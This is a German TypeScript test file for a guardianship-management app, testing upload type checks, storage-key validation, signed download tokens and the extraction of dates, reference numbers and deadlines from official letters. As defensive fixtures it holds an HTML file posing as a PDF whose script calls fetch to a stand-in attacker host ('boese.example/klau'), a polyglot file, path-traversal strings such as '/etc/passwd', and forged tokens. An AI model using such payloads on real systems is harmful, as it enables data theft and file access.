Files
betreuungs-cockpit/tests/dokumente.test.ts
T
Florian Wilde 3833a9dd8f docs: README, Datenschutztexte, Dockerfile und Sicherungsskripte
Damit ist Etappe 1 abgeschlossen und betriebsfertig dokumentiert.

README mit beiden Betriebswegen. Docker Compose auf eigenem Server ist
der Hauptweg; Vercel und Neon sind vollstaendig beschrieben, aber mit
einer klaren Begruendung, warum ich davon abrate: beide Anbieter sind
US-Unternehmen und unterliegen auch bei EU-Region potenziell dem
CLOUD-Act. Bei Gesundheitsdaten einer nicht entscheidungsfaehigen Person
ist das eine Abwaegung, die man bewusst treffen muss.

Reverse-Proxy-Beispiele fuer Caddy, nginx und Traefik - der Proxy selbst
ist nicht Teil des Compose-Setups, weil er auf dem Zielserver schon
steht. Die Datenbank hat keine Portfreigabe.

Sicherung: pg_dump schreibt direkt in die Verschluesselung, der Klartext
landet nie auf der Platte. Danach eine Selbstpruefung - laesst sich die
Datei nicht wieder entschluesseln, endet der Lauf mit Fehler statt mit
einem stillen Scheinerfolg. Der jeweils erste Stand eines Monats bleibt
dauerhaft stehen.

Die README sagt ausdruecklich, was das Backup NICHT enthaelt: den
Schluessel ENC_KEY_V1 und die Dateien im Objektspeicher. Dazu eine
Anleitung, die Wiederherstellung einmal im Jahr zu ueben - mit dem
letzten Schritt, in der Anwendung nachzusehen, ob die Diagnosen im
Klartext erscheinen. Erst dann stimmt nicht nur die Datenbank, sondern
auch der Schluessel.

Verarbeitungsverzeichnis und Datenschutzhinweise als ausfuellbare
Textbausteine. Die Hinweise sind in einfacher Sprache geschrieben - sie
sollen der betreuten Person vorgelesen werden koennen. Die Seite
/datenschutz liest denselben Text aus docs/, damit es nicht zwei
Fassungen gibt, die auseinanderlaufen.

Dockerfile in drei Stufen mit Tesseract, deutschen Sprachdaten und
poppler-utils. Zeitzone Europe/Berlin ist gesetzt - ohne sie rechnet der
Server in UTC und verschiebt Fristen um einen Tag.

Etappe: 1
Phase: Fundament
2026-08-22 02:35:08 +02:00

475 lines
18 KiB
TypeScript

import { describe, expect, it } from 'vitest'
import {
endungPasst,
inhaltBeschreiben,
typErkennen,
} from '@/lib/speicher/dateityp'
import {
betreuteIdAusSchluessel,
schluesselErzeugen,
schluesselGueltig,
UngueltigerSchluessel,
zugriffTokenErzeugen,
zugriffTokenPruefen,
} from '@/lib/speicher/schluessel'
import {
aktenzeichenErkennen,
alleAktenzeichen,
absenderErkennen,
datenFinden,
dokumentartErkennen,
erkennungsvorschlaege,
fristenErkennen,
schreibdatumErkennen,
} from '@/lib/dokumente/erkennung'
import { suchanfrageAufbereiten } from '@/lib/dokumente/suchbegriff'
/**
* Diese Tests beschreiben, was fachlich gelten soll - nicht, welche
* Funktion aufgerufen wird. Sie brauchen weder Datenbank noch Netz.
*/
// -----------------------------------------------------------------------------
// Hilfen: kleine, gueltige Dateien im Speicher bauen
// -----------------------------------------------------------------------------
function pdfDatei(): Buffer {
return Buffer.concat([
Buffer.from('%PDF-1.7\n1 0 obj\n<< /Type /Catalog >>\nendobj\n', 'latin1'),
Buffer.from('trailer\n<< /Root 1 0 R >>\n%%EOF\n', 'latin1'),
])
}
function jpegDatei(): Buffer {
return Buffer.concat([Buffer.from([0xff, 0xd8, 0xff, 0xe0]), Buffer.alloc(64, 0x11)])
}
function pngDatei(): Buffer {
return Buffer.concat([
Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
Buffer.alloc(64, 0x22),
])
}
function webpDatei(): Buffer {
const kopf = Buffer.alloc(16)
kopf.write('RIFF', 0, 'ascii')
kopf.writeUInt32LE(64, 4)
kopf.write('WEBPVP8 ', 8, 'ascii')
return Buffer.concat([kopf, Buffer.alloc(48, 0x33)])
}
function tiffDatei(): Buffer {
return Buffer.concat([Buffer.from([0x49, 0x49, 0x2a, 0x00]), Buffer.alloc(64, 0x44)])
}
function heicDatei(): Buffer {
const kopf = Buffer.alloc(24)
kopf.writeUInt32BE(24, 0)
kopf.write('ftypheic', 4, 'ascii')
kopf.write('mif1heic', 12, 'ascii')
return Buffer.concat([kopf, Buffer.alloc(48, 0x55)])
}
/** Eine HTML-Seite, die sich als PDF ausgibt. */
function getarnteHtmlDatei(): Buffer {
return Buffer.from(
'<!DOCTYPE html>\n<html><head><title>rechnung.pdf</title></head>' +
'<body><script>fetch("https://boese.example/klau")</script></body></html>',
'utf8',
)
}
// -----------------------------------------------------------------------------
// Dateityp
// -----------------------------------------------------------------------------
describe('Der Dateityp wird am Inhalt entschieden, nicht am Namen', () => {
it('erkennt die sechs erlaubten Formate', () => {
expect(typErkennen(pdfDatei())?.mimeTyp).toBe('application/pdf')
expect(typErkennen(jpegDatei())?.mimeTyp).toBe('image/jpeg')
expect(typErkennen(pngDatei())?.mimeTyp).toBe('image/png')
expect(typErkennen(webpDatei())?.mimeTyp).toBe('image/webp')
expect(typErkennen(tiffDatei())?.mimeTyp).toBe('image/tiff')
expect(typErkennen(heicDatei())?.mimeTyp).toBe('image/heic')
})
it('lehnt eine HTML-Seite ab, die sich als PDF ausgibt', () => {
const getarnt = getarnteHtmlDatei()
expect(typErkennen(getarnt)).toBeNull()
expect(inhaltBeschreiben(getarnt)).toBe('eine HTML-Seite')
})
it('lehnt ein PDF ab, dem Fremdinhalt vorangestellt wurde', () => {
// Der klassische Polyglot: erst HTML, dann irgendwo %PDF.
const polyglot = Buffer.concat([Buffer.from('<html><body>x</body></html>\n'), pdfDatei()])
expect(typErkennen(polyglot)).toBeNull()
})
it('lehnt Office-Dateien, Archive und Programme ab', () => {
const zip = Buffer.concat([Buffer.from([0x50, 0x4b, 0x03, 0x04]), Buffer.alloc(32)])
const exe = Buffer.concat([Buffer.from([0x4d, 0x5a]), Buffer.alloc(32)])
expect(typErkennen(zip)).toBeNull()
expect(typErkennen(exe)).toBeNull()
expect(inhaltBeschreiben(zip)).toContain('ZIP')
})
it('lehnt zu kurze und leere Dateien ab', () => {
expect(typErkennen(Buffer.alloc(0))).toBeNull()
expect(typErkennen(Buffer.from('%PDF'))).toBeNull()
expect(inhaltBeschreiben(Buffer.alloc(0))).toBe('eine leere Datei')
})
it('merkt, wenn die Endung nicht zum Inhalt passt', () => {
const jpeg = typErkennen(jpegDatei())!
expect(endungPasst('foto.jpeg', jpeg)).toBe(true)
expect(endungPasst('foto.jpg', jpeg)).toBe(true)
expect(endungPasst('rechnung.pdf', jpeg)).toBe(false)
})
})
// -----------------------------------------------------------------------------
// Ablageschluessel
// -----------------------------------------------------------------------------
describe('Der Ablageschlüssel wird erzeugt und lässt sich nicht ausbrechen', () => {
it('setzt die betreuteId an die zweite Stelle', () => {
const schluessel = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
expect(schluessel).toMatch(/^betreute\/clx123abc\/dokumente\/[0-9a-f-]{36}\.pdf$/)
expect(betreuteIdAusSchluessel(schluessel)).toBe('clx123abc')
})
it('erzeugt für dieselbe Datei nie zweimal denselben Schlüssel', () => {
const a = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
const b = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
expect(a).not.toBe(b)
})
it('weist eine Kennung mit Pfadanteilen zurück', () => {
expect(() => schluesselErzeugen('../../etc', 'dokumente', 'pdf')).toThrow(UngueltigerSchluessel)
expect(() => schluesselErzeugen('a/b', 'dokumente', 'pdf')).toThrow(UngueltigerSchluessel)
expect(() => schluesselErzeugen('a.b', 'dokumente', 'pdf')).toThrow(UngueltigerSchluessel)
})
it('erkennt von Hand gebastelte Schlüssel als ungültig', () => {
expect(schluesselGueltig('betreute/clx1/dokumente/../../../etc/passwd')).toBe(false)
expect(schluesselGueltig('betreute/clx1/dokumente/datei.pdf')).toBe(false)
expect(schluesselGueltig('betreute/clx1/geheim/00000000-0000-0000-0000-000000000000.pdf')).toBe(
false,
)
expect(schluesselGueltig('/etc/passwd')).toBe(false)
expect(schluesselGueltig('betreute\\clx1\\dokumente\\x.pdf')).toBe(false)
expect(schluesselGueltig(null)).toBe(false)
})
it('nimmt den Dateinamen des Nutzers nicht in den Pfad auf', () => {
const schluessel = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
expect(schluessel).not.toContain('rechnung')
expect(schluessel.split('/')).toHaveLength(4)
})
})
// -----------------------------------------------------------------------------
// Signierte Links
// -----------------------------------------------------------------------------
describe('Signierte Dateilinks laufen ab und lassen sich nicht fälschen', () => {
const schluessel = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
const jetzt = new Date('2026-03-12T10:00:00.000Z')
it('erkennt ein frisches Token an', () => {
const token = zugriffTokenErzeugen(schluessel, 300, jetzt)
const geprueft = zugriffTokenPruefen(token, jetzt)
expect(geprueft.gueltig).toBe(true)
if (geprueft.gueltig) expect(geprueft.schluessel).toBe(schluessel)
})
it('weist ein abgelaufenes Token zurück', () => {
const token = zugriffTokenErzeugen(schluessel, 300, jetzt)
const spaeter = new Date(jetzt.getTime() + 301_000)
const geprueft = zugriffTokenPruefen(token, spaeter)
expect(geprueft.gueltig).toBe(false)
if (!geprueft.gueltig) expect(geprueft.grund).toBe('abgelaufen')
})
it('weist ein Token mit verlängertem Ablauf zurück', () => {
const token = zugriffTokenErzeugen(schluessel, 60, jetzt)
const [kodiert, ablauf, signatur] = token.split('.')
const verlaengert = `${kodiert}.${Number(ablauf) + 86_400}.${signatur}`
const geprueft = zugriffTokenPruefen(verlaengert, jetzt)
expect(geprueft.gueltig).toBe(false)
if (!geprueft.gueltig) expect(geprueft.grund).toBe('signatur')
})
it('weist ein Token zurück, in das ein fremder Schlüssel geschoben wurde', () => {
const token = zugriffTokenErzeugen(schluessel, 300, jetzt)
const fremd = schluesselErzeugen('clyFREMD99', 'dokumente', 'pdf')
const [, ablauf, signatur] = token.split('.')
const gebastelt = `${Buffer.from(fremd, 'utf8').toString('base64url')}.${ablauf}.${signatur}`
const geprueft = zugriffTokenPruefen(gebastelt, jetzt)
expect(geprueft.gueltig).toBe(false)
if (!geprueft.gueltig) expect(geprueft.grund).toBe('signatur')
})
it('weist Unsinn und leere Werte zurück', () => {
for (const wert of ['', 'abc', 'a.b.c', null, undefined, 12]) {
expect(zugriffTokenPruefen(wert as unknown, jetzt).gueltig).toBe(false)
}
})
})
// -----------------------------------------------------------------------------
// Datum und Aktenzeichen
// -----------------------------------------------------------------------------
describe('Datumsangaben im Schreiben werden gelesen', () => {
it('versteht 12.03.2026, 12. März 2026 und 2026-03-12', () => {
expect(datenFinden('Bayreuth, 12.03.2026')[0]?.datum.toISOString()).toBe(
'2026-03-12T00:00:00.000Z',
)
expect(datenFinden('Bayreuth, 12. März 2026')[0]?.datum.toISOString()).toBe(
'2026-03-12T00:00:00.000Z',
)
expect(datenFinden('Stand 2026-03-12')[0]?.datum.toISOString()).toBe(
'2026-03-12T00:00:00.000Z',
)
})
it('ergänzt zweistellige Jahre sinnvoll', () => {
expect(datenFinden('am 12.03.26')[0]?.datum.getUTCFullYear()).toBe(2026)
expect(datenFinden('am 12.03.99')[0]?.datum.getUTCFullYear()).toBe(1999)
})
it('erfindet keinen 31. Februar', () => {
expect(datenFinden('am 31.02.2026')).toHaveLength(0)
expect(datenFinden('am 45.13.2026')).toHaveLength(0)
})
it('nimmt das ausdrücklich benannte Datum des Schreibens', () => {
const text = [
'Bezirk Oberfranken',
'Sozialverwaltung',
'',
'Bayreuth, 05.03.2026',
'Ihr Schreiben vom 12.03.2026',
].join('\n')
const vorschlag = schreibdatumErkennen(text, new Date('2026-06-01T00:00:00.000Z'))
expect(vorschlag?.wert.toISOString()).toBe('2026-03-12T00:00:00.000Z')
expect(vorschlag?.sicherheit).toBe('hoch')
})
it('übernimmt kein Datum aus der Zukunft als Briefdatum', () => {
const text = 'Zahlbar bis zum 30.12.2030'
expect(schreibdatumErkennen(text, new Date('2026-03-12T00:00:00.000Z'))).toBeNull()
})
})
describe('Aktenzeichen und Nummern werden erkannt', () => {
it('liest das Aktenzeichen des Betreuungsgerichts', () => {
const vorschlag = aktenzeichenErkennen('Amtsgericht Bayreuth\nXVII 123/25\n\nBeschluss')
expect(vorschlag?.wert).toBe('XVII 123/25')
})
it('liest ein beschriftetes Aktenzeichen', () => {
expect(aktenzeichenErkennen('Az.: 4711/26\nBetreff: Hilfe zur Pflege')?.wert).toBe('4711/26')
expect(aktenzeichenErkennen('Aktenzeichen: SG 12 SO 45/26\n')?.wert).toBe('SG 12 SO 45/26')
})
it('liest Kunden- und Versicherungsnummern', () => {
expect(aktenzeichenErkennen('Kd.-Nr. 998877\nRechnung')?.wert).toBe('998877')
expect(aktenzeichenErkennen('Versicherungsschein-Nr. LV-4711/2\n')?.wert).toBe('LV-4711/2')
})
it('hält eine reine Jahreszahl nicht für ein Aktenzeichen', () => {
expect(aktenzeichenErkennen('Zeitraum 01/2025 bis 12/2025')).toBeNull()
})
it('sammelt mehrere Nummern für die Anzeige', () => {
const text = 'Az.: 4711/26\nKundennummer: 998877\n'
expect(alleAktenzeichen(text)).toEqual(expect.arrayContaining(['4711/26', '998877']))
})
})
// -----------------------------------------------------------------------------
// Dokumentart und Absender
// -----------------------------------------------------------------------------
describe('Die Art des Schreibens wird vorgeschlagen', () => {
it('erkennt einen Widerspruchsbescheid als Bescheid', () => {
const text = 'Widerspruchsbescheid\n\nIhr Antrag auf Hilfe zur Pflege wird abgelehnt.'
expect(dokumentartErkennen(text)?.wert).toBe('BESCHEID')
})
it('unterscheidet Mahnung von Rechnung', () => {
expect(dokumentartErkennen('Mahnung\nOffener Rechnungsbetrag 120,00 EUR')?.wert).toBe('MAHNUNG')
expect(dokumentartErkennen('Rechnung\nRechnungsnummer 4711\nZahlbetrag')?.wert).toBe('RECHNUNG')
})
it('erkennt Beschluss, Grundbuchauszug und Kaufvertrag', () => {
expect(dokumentartErkennen('Beschluss\nIm Namen des Volkes')?.wert).toBe('BESCHLUSS')
expect(dokumentartErkennen('Grundbuchauszug\nGrundbuch von Bayreuth')?.wert).toBe(
'GRUNDBUCHAUSZUG',
)
expect(dokumentartErkennen('Kaufvertrag über das Grundstück')?.wert).toBe('VERTRAG')
})
it('gibt nichts vor, wenn nichts erkennbar ist', () => {
expect(dokumentartErkennen('lorem ipsum dolor')).toBeNull()
})
})
describe('Der Absender wird vorgeschlagen', () => {
const brief = [
'Bezirk Oberfranken',
'Sozialverwaltung',
'95440 Bayreuth',
'',
'Bayreuth, 12.03.2026',
'',
'Sehr geehrte Frau Wilde,',
].join('\n')
it('bevorzugt einen bereits bekannten Absender', () => {
const vorschlag = absenderErkennen(brief, ['Bezirk Oberfranken, Sozialverwaltung'])
expect(vorschlag?.wert).toBe('Bezirk Oberfranken, Sozialverwaltung')
expect(vorschlag?.sicherheit).toBe('hoch')
})
it('erkennt sonst die Behörde im Briefkopf', () => {
const vorschlag = absenderErkennen(brief, [])
expect(vorschlag?.wert).toBe('Bezirk Oberfranken')
expect(vorschlag?.sicherheit).toBe('mittel')
})
it('hält die Anrede nicht für den Absender', () => {
const vorschlag = absenderErkennen('Sehr geehrte Frau Wilde,\n\nwir teilen Ihnen mit …', [])
expect(vorschlag?.wert ?? '').not.toMatch(/Sehr geehrte/)
})
})
// -----------------------------------------------------------------------------
// Fristen
// -----------------------------------------------------------------------------
describe('Fristen im Text werden vorgeschlagen, nie angelegt', () => {
const zugang = new Date(Date.UTC(2026, 2, 12)) // 12.03.2026
it('rechnet "innerhalb von vier Wochen" ab dem Zugangsdatum', () => {
const text =
'Gegen diesen Bescheid können Sie innerhalb von vier Wochen nach Bekanntgabe ' +
'Widerspruch einlegen.'
const [frist] = fristenErkennen(text, zugang)
expect(frist).toBeDefined()
expect(frist!.datum?.toISOString()).toBe('2026-04-09T00:00:00.000Z')
expect(frist!.basis?.toISOString()).toBe('2026-03-12T00:00:00.000Z')
expect(frist!.rechtsbehelf).toBe(true)
expect(frist!.textstelle).toContain('vier Wochen')
})
it('versteht "binnen eines Monats" und "einen Monat nach Bekanntgabe"', () => {
const a = fristenErkennen('Widerspruch binnen eines Monats.', zugang)[0]
expect(a?.datum?.toISOString()).toBe('2026-04-12T00:00:00.000Z')
const b = fristenErkennen('Der Widerspruch ist einen Monat nach Bekanntgabe zu erheben.', zugang)[0]
expect(b?.datum?.toISOString()).toBe('2026-04-12T00:00:00.000Z')
})
it('übernimmt ein ausdrücklich genanntes Datum', () => {
const [frist] = fristenErkennen('Wir bitten um Zahlung bis zum 30.04.2026.', zugang)
expect(frist?.datum?.toISOString()).toBe('2026-04-30T00:00:00.000Z')
expect(frist?.sicherheit).toBe('hoch')
})
it('hält einen Zeitraum nicht für eine Frist', () => {
expect(fristenErkennen('Abrechnung vom 01.01.2025 bis 31.12.2025', zugang)).toHaveLength(0)
})
it('liefert ohne Zugangsdatum kein erfundenes Datum', () => {
const [frist] = fristenErkennen('Bitte antworten Sie innerhalb von 14 Tagen.', null)
expect(frist?.datum).toBeNull()
expect(frist?.begruendung).toContain('Eingangsdatum')
})
it('nennt bei jedem Vorschlag die Textstelle, auf die er sich stützt', () => {
const fristen = fristenErkennen('Zahlung binnen zwei Wochen erbeten.', zugang)
expect(fristen[0]?.textstelle.length).toBeGreaterThan(0)
expect(fristen[0]?.begruendung).toContain('2 Wochen')
})
})
// -----------------------------------------------------------------------------
// Alles zusammen
// -----------------------------------------------------------------------------
describe('Ein abfotografierter Bescheid liefert einen brauchbaren Vorschlag', () => {
const bescheid = [
'Bezirk Oberfranken',
'Sozialverwaltung',
'95440 Bayreuth',
'',
'Bayreuth, 05.03.2026',
'Aktenzeichen: 4711/26',
'',
'Betreff: Hilfe zur Pflege nach dem SGB XII',
'',
'Widerspruchsbescheid',
'',
'Sehr geehrte Frau Wilde,',
'Ihr Widerspruch wird zurückgewiesen. Gegen diesen Bescheid können Sie innerhalb',
'von vier Wochen nach Bekanntgabe Klage erheben.',
].join('\n')
it('schlägt Absender, Datum, Aktenzeichen, Art und Frist vor', () => {
const ergebnis = erkennungsvorschlaege(bescheid, {
bekannteAbsender: ['Bezirk Oberfranken, Sozialverwaltung'],
zugangAm: new Date(Date.UTC(2026, 2, 9)),
heute: new Date(Date.UTC(2026, 2, 20)),
})
expect(ergebnis.absender?.wert).toBe('Bezirk Oberfranken, Sozialverwaltung')
expect(ergebnis.schreibenVom?.wert.toISOString()).toBe('2026-03-05T00:00:00.000Z')
expect(ergebnis.aktenzeichen?.wert).toBe('4711/26')
expect(ergebnis.art?.wert).toBe('BESCHEID')
expect(ergebnis.titel).toBe('Hilfe zur Pflege nach dem SGB XII')
expect(ergebnis.fristen[0]?.datum?.toISOString()).toBe('2026-04-06T00:00:00.000Z')
expect(ergebnis.fristen[0]?.rechtsbehelf).toBe(true)
})
it('liefert bei leerem Text keine erfundenen Werte', () => {
const leer = erkennungsvorschlaege('', {})
expect(leer.absender).toBeNull()
expect(leer.art).toBeNull()
expect(leer.fristen).toEqual([])
})
})
// -----------------------------------------------------------------------------
// Suchanfrage
// -----------------------------------------------------------------------------
describe('Die Suchanfrage wird für websearch_to_tsquery aufbereitet', () => {
it('lässt die gewohnte Suchmaschinen-Schreibweise stehen', () => {
expect(suchanfrageAufbereiten('"Hilfe zur Pflege" -Mahnung')).toBe('"Hilfe zur Pflege" -Mahnung')
})
it('räumt Leerraum und Steuerzeichen weg', () => {
expect(suchanfrageAufbereiten(' Bescheid \n Bezirk \t')).toBe('Bescheid Bezirk')
})
it('entfernt ein einzelnes offenes Anführungszeichen', () => {
expect(suchanfrageAufbereiten('"Hilfe zur Pflege')).toBe('Hilfe zur Pflege')
})
it('gibt nichts zurück, wenn nichts Suchbares übrig bleibt', () => {
expect(suchanfrageAufbereiten('')).toBeNull()
expect(suchanfrageAufbereiten(' ')).toBeNull()
expect(suchanfrageAufbereiten('a')).toBeNull()
expect(suchanfrageAufbereiten(null)).toBeNull()
})
it('begrenzt die Länge, damit niemand die Datenbank beschäftigt', () => {
expect(suchanfrageAufbereiten('x'.repeat(5000))!.length).toBe(200)
})
})